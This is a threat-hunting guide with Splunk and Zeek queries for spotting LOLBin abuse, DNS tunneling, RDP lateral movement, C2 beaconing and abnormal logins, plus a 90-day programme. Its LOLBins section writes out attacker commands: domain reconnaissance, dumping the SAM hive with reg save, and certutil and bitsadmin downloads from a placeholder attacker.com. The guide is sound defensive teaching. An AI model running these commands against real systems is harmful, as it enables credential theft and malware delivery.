Threat hunting is proactive security — actively searching for signs of compromise rather than waiting for alerts. The average attacker dwell time is still over 200 days. Threat hunters shorten this dramatically. This guide shows you how to hunt like a professional.
The Hunt Hypothesis Framework
Every hunt starts with a hypothesis: “An attacker has compromised a workstation and is performing internal reconnaissance using built-in Windows tools,” or “A threat actor is using DNS tunneling to exfiltrate data.” Never start a hunt with “let us look for something suspicious.”
Hunt 1: Living Off the Land (LOLBins)
Sophisticated attackers avoid dropping malware — they use trusted built-in Windows tools for reconnaissance, lateral movement, and persistence. These bypass most AV/EDR tools.
# Reconnaissance LOLBins attackers commonly use
net user /domain # List domain users
net group "Domain Admins" /domain # List domain admins
nltest /domain_trusts # Enumerate trust relationships
qwinsta /server:TARGET_IP # List RDP sessions on remote host
# Credential access
reg save HKLM\SAM C:\temp\sam.hive # Dump SAM database
# Download malware with built-in tools
certutil.exe -urlcache -f http://attacker.com/malware.exe C:\temp\malware.exe
bitsadmin /transfer job /download /priority normal http://attacker.com/file C:\file
Splunk: Hunt for LOLBin Abuse
# Find certutil downloading files (common malware dropper)
index=windows EventCode=1
CommandLine="*certutil*" (CommandLine="*urlcache*" OR CommandLine="*decode*")
| table _time, host, user, CommandLine
# Find PowerShell encoded commands (Base64 hidden commands)
index=windows EventCode=1 process_name=powershell.exe
CommandLine="*-enc*" OR CommandLine="*-EncodedCommand*"
| table _time, host, user, CommandLine
# Find MSHTA executing from unusual parent
EventCode=1 AND process.name=mshta.exe
AND NOT process.parent.name IN ("explorer.exe","iexplore.exe")
Hunt 2: DNS Tunneling Detection
DNS tunneling hides data in DNS queries. Key indicators: very long query names, high frequency to one domain, many unique subdomains, TXT record requests.
# Zeek: Find long DNS queries (normal queries are short)
cat dns.log | zeek-cut query | awk '{print length($1), $1}' | sort -rn | head -30
# Count unique subdomains per domain
cat dns.log | zeek-cut query | sed 's/.*\.([^.]*\.[^.]*)$/\1/' | sort | uniq -c | sort -rn | head -20
# 1000+ unique subdomains in 1 hour = likely DNS tunneling
# Splunk DNS tunneling detection
index=dns
| eval query_length=len(query)
| where query_length > 50
| stats count dc(query) as unique_subdomains by domain src_ip
| where unique_subdomains > 100
Hunt 3: Lateral Movement via RDP
# Windows Event IDs for RDP:
# 4624 Logon Type 10 = Remote Interactive RDP logon
# 4625 = Failed logon
# 4778/4779 = Session reconnect/disconnect
# Splunk: Find RDP lateral movement to multiple targets
index=windows EventCode=4624 Logon_Type=10
| stats count dc(dest_host) as unique_targets by src_ip user
| where unique_targets > 3
# Detect RDP brute force
index=windows EventCode=4625 Logon_Type=10
| stats count by src_ip dest_host
| where count > 20
Hunt 4: C2 Beaconing Detection
Malware calling home does so at regular intervals. This regularity — even in encrypted traffic — is statistically detectable.
# Splunk: Statistical beaconing detection
index=network_traffic
| bin _time span=1h
| stats count by src_ip dest_ip _time
| stats stdev(count) as regularity avg(count) as avg_count by src_ip dest_ip
| where regularity < 2 AND avg_count > 5 /* Very regular = C2 indicator */
# Zeek: Calculate connection intervals
cat conn.log | zeek-cut id.orig_h id.resp_h ts | sort -k1,2 | awk '
{key=$1" "$2; if(key in last){diff=$3-last[key]; sum[key]+=diff; n[key]++}; last[key]=$3}
END{for(k in n) if(n[k]>10){avg=sum[k]/n[k]; if(avg>30 && avg<3600) print k, avg, n[k]}}'
| sort -k3 -rn | head -20
Hunt 5: Abnormal Account Behavior
# Splunk: Logins at unusual hours (3+ standard deviations from baseline)
index=windows EventCode=4624
| eval hour=strftime(_time, "%H")
| stats count by user hour
| eventstats avg(count) as avg stdev(count) as sd by user
| where count > avg + (3 * sd)
# Service accounts authenticating interactively (should never happen)
index=windows EventCode=4624 Logon_Type=2
| where match(user, "^svc_|^service_|_sa$")
# Accounts accessing large numbers of file shares (data staging)
index=windows EventCode=5140
| stats dc(share_name) as shares_accessed by user src_ip
| where shares_accessed > 20
Using MITRE ATT&CK for Hunt Planning
# PyATTCK: Access ATT&CK data programmatically
pip3 install pyattck
# Find all techniques used by APT29
python3 -c "
from pyattck import Attck
attack = Attck()
for actor in attack.enterprise.actors:
if 'APT29' in actor.name:
for t in actor.techniques: print(t.id, t.name)
"
# Use ATT&CK Navigator to build a coverage heatmap
# https://mitre-attack.github.io/attack-navigator/
# Mark which techniques you can detect vs which are blind spots
90-Day Threat Hunting Program
Days 1-30: Deploy Sysmon, collect network/DNS logs, build behavioral baselines for your environment.
Days 31-60: Run your first 5 hunts using ATT&CK techniques most relevant to your sector threat profile. Document every finding.
Days 61-90: Convert successful hunt queries into permanent SIEM detection rules. Repeat with 5 new techniques. Track dwell time reduction as your key success metric.